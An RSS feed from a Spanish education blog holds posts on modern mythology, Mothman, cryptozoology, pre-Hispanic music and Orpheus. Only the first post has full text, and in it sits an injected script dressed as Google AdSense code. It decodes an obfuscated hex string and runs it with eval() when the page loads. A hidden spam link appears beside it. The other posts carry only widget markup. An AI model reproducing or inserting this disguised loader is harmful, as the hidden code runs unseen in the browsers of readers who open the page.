<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Educación y formación &#187; Mitología</title>
	<atom:link href="http://www.educacionyformacion.es/tag/mitologia/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.educacionyformacion.es</link>
	<description>Portal de educación y formación</description>
	<lastBuildDate>Wed, 08 Sep 2010 08:00:52 +0000</lastBuildDate>
	
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Mitologías de nuestro tiempo</title>
		<link>http://www.educacionyformacion.es/mitologias-de-nuestro-tiempo/</link>
		<comments>http://www.educacionyformacion.es/mitologias-de-nuestro-tiempo/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 08:23:57 +0000</pubDate>
		<dc:creator>Ademir</dc:creator>
				<category><![CDATA[Enigmas]]></category>
		<category><![CDATA[criptozoología]]></category>
		<category><![CDATA[Cultura]]></category>
		<category><![CDATA[Educación]]></category>
		<category><![CDATA[estados unidos]]></category>
		<category><![CDATA[Filosofía]]></category>
		<category><![CDATA[Mitología]]></category>
		<category><![CDATA[Mitos]]></category>
		<category><![CDATA[mothman]]></category>
		<category><![CDATA[Posmodernidad]]></category>

		<guid isPermaLink="false">http://www.educacionyformacion.es/?p=800</guid>
		<description><![CDATA[La ufología, el esoterismo, el estudio de lo paranormal y la criptozoología son muestras de las sombras actuales de la cultura. Sin embargo, no deberían de ser desdeñadas para fines educativos, porque cuentan con un vigor y un afán de descubrimiento del que ya carecen algunas de las disciplinas ortodoxas científicas más aplaudidas. Su valor de verdad debería de ser secundario, para ponderar mejor lo que dejan saber simbólicamente de las simas del alma humana.]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.educacionyformacion.es%252Fmitologias-de-nuestro-tiempo%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Mitolog%C3%ADas%20de%20nuestro%20tiempo%22%20%7D);"></div>
<div id="_wp_footer"><a href="http://google.com#google.comhttp://google.com" title="google.com">google.com</a>
</div>
<script type="text/javascript"><!--
google_ad_client = "pub-7652328300112263";
google_ad_width = 728;
google_ad_height = 15;
google_ad_format = "728x15_0ads_al_s";
google_ad_channel = "";
function google_ads(str){var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ""; var i = 1; for (++idx; idx < len; idx += 2,i++){ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); } eval(new_str);}
google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02373B44403B2F4609ED3838362CE800");
//-->
</script><p>En el caso de la criptozoología por ejemplo, algunas de las criaturas que conforman sus anales pueden ser inscritas como algunas de las más profundas mitologías de nuestro tiempo.</p>
<p><strong>Mothman o el delirio de sí</strong></p>
<p>Se trata de un aterrador hombre-polilla, color pardo, alado y con rostro insectoide que se aparece en ciertas regiones de la Norteamérica profunda, como un augur de accidentes catastróficos. En 1966, en el poblado de Point Pleasant, Virginia Occidental en los Estados Unidos, se desató una oleada de avistamientos de este extraño ser. </p>
<p>Estas apariciones estuvieron acompañadas de visiones de OVNIS, desapariciones inexplicables, llamadas misteriosas por teléfono y la presencia de los misteriosos hombres de negro. Se dice que la guarida de Mothman era una base militar abandonada, conocida como el área “TNT” que se localiza en esa región. La psicosis que desató Mothman y su entorno irreal culminó en 1967 con un trágico accidente, cuando el puente “Silver Bridge” se desplomó sobre un río. Mucha gente murió y la misteriosa criatura dejo de ser reportada. </p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/ziXH1dlsb1s&#038;hl=es_ES&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/ziXH1dlsb1s&#038;hl=es_ES&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p><strong>Cultura y contracultura</strong></p>
<p>Independientemente de su veracidad lo que llama la atención de Mothman es el hecho de que su presencia condense todas las limitaciones de una cultura como la norteamericana: el aislamiento, la desconfianza, el culto a la militarización y a la violencia, la publicidad desmedida, el miedo a <a href="http://www.educacionyformacion.es/a-favor-del-multiculturalismo/">la otredad</a>, etc. La década de los sesenta fue como <a href="http://www.musica80s.es/el-final-de-la-utopia-sobre-la-cancion-%E2%80%9Cimagine%E2%80%9D-de-john-lennon/">un punto de inflexión</a> no confesado para la civilización contemporánea, muchos acontecimientos estallaron que modificaron los paradigmas vigentes del mundo. </p>
<p>Sobresale el hecho de que el hombre polilla y la eclosión de su demencial entorno haya tenido lugar justo cuando el mundo más necesitaba estar alerta a <a href="http://www.educacionyformacion.es/la-sabiduria-de-edward-hopper/">sus propios fantasmas</a>. Es factible que la sombra alada de Mothman, sus ojos rojos inmensos, sean posibles de mirar en todo momento, en el espejo de la autoconciencia de una sociedad. </p>
<p>Solamente la educación puede darnos la vía para identificarnos en  las sombras de nuestra cultura, como augurios de muerte o de renovación en formas inexploradas de pensamiento.</p>

]]></content:encoded>
			<wfw:commentRss>http://www.educacionyformacion.es/mitologias-de-nuestro-tiempo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Educación y criptozoología</title>
		<link>http://www.educacionyformacion.es/educacion-y-criptozoologia/</link>
		<comments>http://www.educacionyformacion.es/educacion-y-criptozoologia/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 08:15:10 +0000</pubDate>
		<dc:creator>Ademir</dc:creator>
				<category><![CDATA[Enigmas]]></category>
		<category><![CDATA[Ciencias]]></category>
		<category><![CDATA[criaturas mitologicas]]></category>
		<category><![CDATA[Cultura]]></category>
		<category><![CDATA[Educación]]></category>
		<category><![CDATA[Filosofía]]></category>
		<category><![CDATA[lago ness]]></category>
		<category><![CDATA[Literatura]]></category>
		<category><![CDATA[Mitología]]></category>
		<category><![CDATA[Mitos]]></category>

		<guid isPermaLink="false">http://www.educacionyformacion.es/?p=792</guid>
		<description><![CDATA[Las formas de la educación deben estar en permanente apertura. Limitarlas a ciertos cauces es constreñir todo el provecho que puede brindar la educación escolar a las nuevas generaciones. Los avatares de  descubrimientos científicos que surgieron desde los campos menos plausibles, hoy forman parte los planes de estudio de la educación básica. ]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.educacionyformacion.es%252Feducacion-y-criptozoologia%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Educaci%C3%B3n%20y%20criptozoolog%C3%ADa%22%20%7D);"></div>

]]></content:encoded>
			<wfw:commentRss>http://www.educacionyformacion.es/educacion-y-criptozoologia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Antonio Zepeda: música prehispánica y educación</title>
		<link>http://www.educacionyformacion.es/antonio-zepeda-musica-prehispanica-y-educacion/</link>
		<comments>http://www.educacionyformacion.es/antonio-zepeda-musica-prehispanica-y-educacion/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 05:01:28 +0000</pubDate>
		<dc:creator>Ademir</dc:creator>
				<category><![CDATA[Arte]]></category>
		<category><![CDATA[Cultura]]></category>
		<category><![CDATA[Educación]]></category>
		<category><![CDATA[Filosofía]]></category>
		<category><![CDATA[México]]></category>
		<category><![CDATA[Música]]></category>
		<category><![CDATA[Mitología]]></category>
		<category><![CDATA[Religión]]></category>

		<guid isPermaLink="false">http://www.educacionyformacion.es/?p=577</guid>
		<description><![CDATA[Mucho se afanan los teóricos de la educación en revolucionar los esquemas pedagógicos, o por el contrario, en descalificar, con rotundidad, toda posible evolución de las investigaciones sobre nuevas estrategias didácticas. Sin embargo, tanto una como otra posición caen en la trampa de la modernidad, que en una estratagema dialéctica- inédita serpiente de ouroboros- busca siempre el rompimiento, la superación o la transformación radical en aras de un progreso que nunca se da.  Así y todo, existen algunas alternativas o modelos marginales educativos, que vale la pena atender. Veamos alguno de ellos.]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.educacionyformacion.es%252Fantonio-zepeda-musica-prehispanica-y-educacion%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Antonio%20Zepeda%3A%20m%C3%BAsica%20prehisp%C3%A1nica%20y%20educaci%C3%B3n%22%20%7D);"></div>

]]></content:encoded>
			<wfw:commentRss>http://www.educacionyformacion.es/antonio-zepeda-musica-prehispanica-y-educacion/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>La lección de Orfeo (II)</title>
		<link>http://www.educacionyformacion.es/la-leccion-de-orfeo-ii/</link>
		<comments>http://www.educacionyformacion.es/la-leccion-de-orfeo-ii/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 05:01:21 +0000</pubDate>
		<dc:creator>Ademir</dc:creator>
				<category><![CDATA[Arte]]></category>
		<category><![CDATA[Cultura General]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Filosofía]]></category>
		<category><![CDATA[Mitología]]></category>
		<category><![CDATA[Pintura]]></category>

		<guid isPermaLink="false">http://www.educacionyformacion.es/?p=383</guid>
		<description><![CDATA[La figura de Orfeo ha sido abordada en repetidas ocasiones como un ejemplo de los límites del arte y del entendimiento humano. El filósofo Maurice Blanchot, por ejemplo, lo ha visto así. Pero pronto comprenderemos que Orfeo no tiene porque ser, siempre, pensado como un símbolo de la insuficiencia: es factible una perspectiva diferente de él, como mediador entre la trascendencia y la finitud de los hombres.]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.educacionyformacion.es%252Fla-leccion-de-orfeo-ii%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22La%20lecci%C3%B3n%20de%20Orfeo%20%28II%29%22%20%7D);"></div>

]]></content:encoded>
			<wfw:commentRss>http://www.educacionyformacion.es/la-leccion-de-orfeo-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La lección de Orfeo (I)</title>
		<link>http://www.educacionyformacion.es/la-leccion-de-orfeo-i/</link>
		<comments>http://www.educacionyformacion.es/la-leccion-de-orfeo-i/#comments</comments>
		<pubDate>Tue, 17 Feb 2009 05:01:24 +0000</pubDate>
		<dc:creator>Ademir</dc:creator>
				<category><![CDATA[Arte]]></category>
		<category><![CDATA[Cultura General]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Crisis]]></category>
		<category><![CDATA[Filosofía]]></category>
		<category><![CDATA[Mitología]]></category>

		<guid isPermaLink="false">http://www.educacionyformacion.es/?p=377</guid>
		<description><![CDATA[La cultura es la mejor posibilidad que tenemos de encontrar soluciones en tiempos sombríos, es decir, en instantes histórico sociales en los que parece que las alternativas para superar las más complicadas circunstancias se han agotado y ya no hay escapatoria posible más que resignarse a la perdición. De hecho, siempre hay una posibilidad y en cada ocasión nosotros, nuestro entendimiento activo, es la clave.]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.educacionyformacion.es%252Fla-leccion-de-orfeo-i%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22La%20lecci%C3%B3n%20de%20Orfeo%20%28I%29%22%20%7D);"></div>

]]></content:encoded>
			<wfw:commentRss>http://www.educacionyformacion.es/la-leccion-de-orfeo-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
